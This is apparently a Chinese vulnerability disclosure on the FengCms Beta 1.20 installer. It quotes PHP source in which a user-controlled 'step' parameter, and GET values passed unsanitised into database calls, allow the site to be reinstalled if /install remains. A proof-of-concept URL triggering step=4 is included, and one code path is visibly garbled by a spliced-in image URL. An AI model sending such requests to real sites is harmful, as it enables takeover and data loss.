### 简要描述:
FengCms Beta 1.20
管理这样判断冒是那里不对啊。
### 详细说明:
用switch做判断,真的搞不懂程序猿是怎么想的啊,这里的step变量可以控制,导致重装程序。
```
switch($_GET['step']){
case '1': //安装许可协议
include ABS_PATH."/step/step1.php";
break;
case '2': //检查安装环境是否满足要求
$PHP_GD = '';
if(extension_loaded('gd')) {
if(function_exists('imagepng')) $PHP_GD .= 'png';
if(function_exists('imagejpeg')) $PHP_GD .= ' jpg';
if(function_exists('imagegif')) $PHP_GD .= ' gif';
}
$PHP_JSON = '0';
if(extension_loaded('json')) {
if(function_exists('json_decode') && function_exists('json_encode')) $PHP_JSON = '1';
}
//新加fsockopen 函数判断,此函数影响安装后会员注册及登录操作。
if(function_exists('fsockopen')) {
$PHP_FSOCKOPEN = '1';
}
$PHP_DNS = preg_match("/^[0-9.]{7,15}$/", @gethostbyname('www.baidu.cn')) ? 1 : 0;
//是否满足FengCms安装需求
$is_right = (phpversion() >= '5.2.0' && extension_loaded('mysql') && $PHP_JSON && $PHP_GD && $PHP_FSOCKOPEN) ? 1 : 0;
//配置文件是否存在和可写
$is_config = (is_readable($config_file) && is_writable($config_file)) ? 1 : 0;
//上传目录是否可写
$is_upload = (dir_writeable(ROOT_PATH."/upload")) ? 1 : 0;
//模块导出目录是否可写
$is_module = (dir_writeable(ROOT_PATH."https://images.seebug.org/upload/module")) ? 1 : 0;
//前台缓存目录是否可写
$is_cache = (dir_writeable(ROOT_PATH."/app/cache")) ? 1 : 0;
include ABS_PATH."/step/step2.php";
break;
case '3': //填写数据库信息
include ABS_PATH."/step/step3.php";
break;
case '4': //正在安装
$conn=@mysql_connect($_GET['host'],$_GET['user'],$_GET['password']);
if(!$conn){
echo '<script type="text/javascript">alert("链接主机失败,请检查主机地址、用户名和密码是否正确!");history.go(-1);</script>';
exit();
}elseif(intval(mysql_get_server_info($conn))<5){
echo '<script type="text/javascript">alert("您的MYSQL版本为'. mysql_get_server_info($conn).',版本太低,不能安装FengCms!");history.go(-1);</script>';
exit();
}else{
if(!mysql_select_db($_GET['dbname'],$conn)){ //如果数据库不存在,我们就进行创建。
if (!mysql_query("CREATE DATABASE ". $_GET['dbname'] ." default character set utf8;",$conn))
{
echo '<script type="text/javascript">alert("数据库不存在,创建不成功");history.go(-1);</script>';
}else{
if(!mysql_select_db($_GET['dbname'],$conn)){
echo '<script type="text/javascript">alert("链接数据库失败,请检查数据库是否正确!");history.go(-1);</script>';
}else{
include "data.php";
}
}
}else{
include "data.php";
}
}
break;
case '5': //安装完成
include ABS_PATH."/step/step5.php";
break;
case '6': //删除安装目录
if(rmdirs(ROOT_PATH.'/install') or rmdir(ROOT_PATH.'/install')){
echo '<script type="text/javascript">alert("删除成功!");close();</script>';
exit();
}else{
echo '<script type="text/javascript">alert("删除失败,请手工删除网站根目录下install目录!");close();</script>';
exit();
}
break;
}
```
### 漏洞证明:
```
http://test.com/FengCms%20Beta%201.20/install/index.php?host=localhost&user=root&password=****&dbname=fengcms&prefix=f_&url_type=1&step=4
```
[<img src="https://images.seebug.org/upload/201407/05123714866b09f75a88a4781b52d6502863fc10.jpg" alt="QQ图片20140705123849.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/05123714866b09f75a88a4781b52d6502863fc10.jpg)
前提用户在没有删除/install的情况下面导致程序无限制任意安全。
暂无评论